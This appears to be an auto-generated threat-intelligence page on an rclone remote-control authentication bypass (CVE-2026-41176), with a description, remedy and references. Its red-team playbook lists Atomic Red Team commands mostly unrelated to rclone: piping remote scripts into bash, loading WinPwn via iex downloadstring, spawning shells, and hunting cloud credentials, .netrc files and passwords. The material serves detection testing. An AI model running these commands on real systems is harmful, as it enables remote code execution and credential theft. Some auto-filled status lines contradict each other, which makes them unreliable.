CVE-2026-41176
Overview
This vulnerability is an authentication bypass in the rclone remote control (RC) interface. The root cause is the exposure of the RC endpoint `options/set` without enforcing the `AuthRequired: true` flag, allowing unauthenticated mutation of global runtime configuration. Specifically, the affected component is the RC server's configuration handling, where the `rc.NoAuth` flag can be set to disable authorization checks for other RC methods.
Vulnerability Description
Rclone is a command-line program to sync files and directories to and from different cloud storage providers. The RC endpoint `options/set` is exposed without `AuthRequired: true`, but it can mutate global runtime configuration, including the RC option block itself. Starting in version 1.45.0 and prior to version 1.73.5, an unauthenticated attacker can set `rc.NoAuth=true`, which disables the authorization gate for many RC methods registered with `AuthRequired: true` on reachable RC servers that are started without global HTTP authentication. This can lead to unauthorized access to sensitive administrative functionality, including configuration and operational RC methods. Version 1.73.5 patches the issue.
Impact
An unauthenticated attacker can gain unauthorized access to sensitive administrative RC methods by disabling authentication checks, enabling configuration changes and operational control over the rclone server. This can result in unauthorized disclosure of sensitive configuration data, manipulation of runtime settings, and potential disruption of service. No user interaction or credentials are required, and the attacker only needs network access to the exposed RC server interface.
Solution
Upgrade rclone to version 1.73.5 or later, where this issue is patched by enforcing authentication on the `options/set` endpoint. Refer to the official GitHub security advisory GHSA-25qr-6mpr-f7qx for detailed patch instructions and further mitigation guidance. Avoid running RC servers without global HTTP authentication as a temporary workaround.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Rclone arises from the improper exposure of the RC endpoint `options/set`, which lacks the necessary authentication requirements. This oversight allows an unauthenticated attacker to manipulate global runtime configurations, including critical settings that govern the behavior of the application. Specifically, the attacker can set the `rc.NoAuth=true` option, effectively disabling authentication for various methods that are otherwise protected. This flaw is particularly concerning as it affects versions from 1.45.0 to 1.73.5, creating a significant window of opportunity for malicious actors to exploit the system without any form of authentication.
In terms of attack vectors, the exploitation of this vulnerability can occur through direct access to the Rclone server's RC interface. An attacker with network access to the server can issue commands to modify the runtime configuration, leading to unauthorized access to sensitive administrative functionalities. For instance, once authentication is disabled, the attacker can execute commands that allow them to manipulate file synchronization processes, potentially leading to data exfiltration, corruption, or deletion. Additionally, the attacker could leverage this access to reconfigure the application to connect to unauthorized cloud storage services, further compromising data integrity and confidentiality.
The real-world impact of this vulnerability can be severe, especially for organizations that rely on Rclone for managing sensitive data across cloud environments. Unauthorized access to administrative functionalities could lead to significant data breaches, resulting in financial losses, reputational damage, and potential legal ramifications. Businesses that handle sensitive customer information or proprietary data are particularly at risk, as the exploitation of this vulnerability could expose them to regulatory scrutiny and compliance violations. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that it poses a substantial threat to the security posture of affected organizations.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to the patched version of Rclone (1.73.5 or later) to eliminate the risk of exploitation. Regularly auditing configurations and access controls is essential to ensure that no unauthorized changes have been made. Additionally, implementing network segmentation can help restrict access to the Rclone server, minimizing the risk of unauthorized exploitation. Organizations should also consider employing intrusion detection systems (IDS) to monitor for unusual activity related to the RC interface, enabling timely responses to potential threats. Training staff on secure configuration practices and the importance of maintaining updated software can further bolster defenses against such vulnerabilities.
In conclusion, the vulnerability in Rclone represents a significant security risk due to its potential for unauthorized access to sensitive administrative functions. The ease of exploitation coupled with the severe implications for data integrity and confidentiality necessitates immediate attention from organizations using this tool. By adopting robust detection and mitigation strategies, businesses can safeguard their systems against the threats posed by this vulnerability and enhance their overall cybersecurity resilience.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2026-41176, with a notable increase in attempts to exploit the unauthenticated RC endpoint in affected Rclone versions. This surge is accompanied by the emergence of a significant EPSS score, indicating growing confidence in the exploitability of this vulnerability within the attacker community. Although no new exploit code has been publicly disclosed, the sharp rise in detection telemetry suggests active reconnaissance and potential weaponization efforts underway. For defenders, this development elevates the urgency to monitor for anomalous RC endpoint interactions and signals an increased likelihood of unauthorized configuration changes that could disable critical authentication controls. Consequently, the threat level associated with this vulnerability has shifted from theoretical to imminent, underscoring the need for heightened vigilance in environments utilizing vulnerable Rclone releases.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Rclone | Rclone | All |
cpe:2.3:a:rclone:rclone:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Active exploitation confirmed — vendor: rclone, product: rclone
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-41176 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/rclone/rclone/security/advisories/GHSA-25qr-6mpr-f7qx |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/rc/config.go |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/rc/rcserver/rcserver.go |
| access.redhat.com |
NVD API
|
https://access.redhat.com/security/cve/CVE-2026-41176 |
| bugzilla.redhat.com |
NVD API
|
https://bugzilla.redhat.com/show_bug.cgi?id=2460989 |
| security.access.redhat.com |
NVD API
|
https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-41176.json |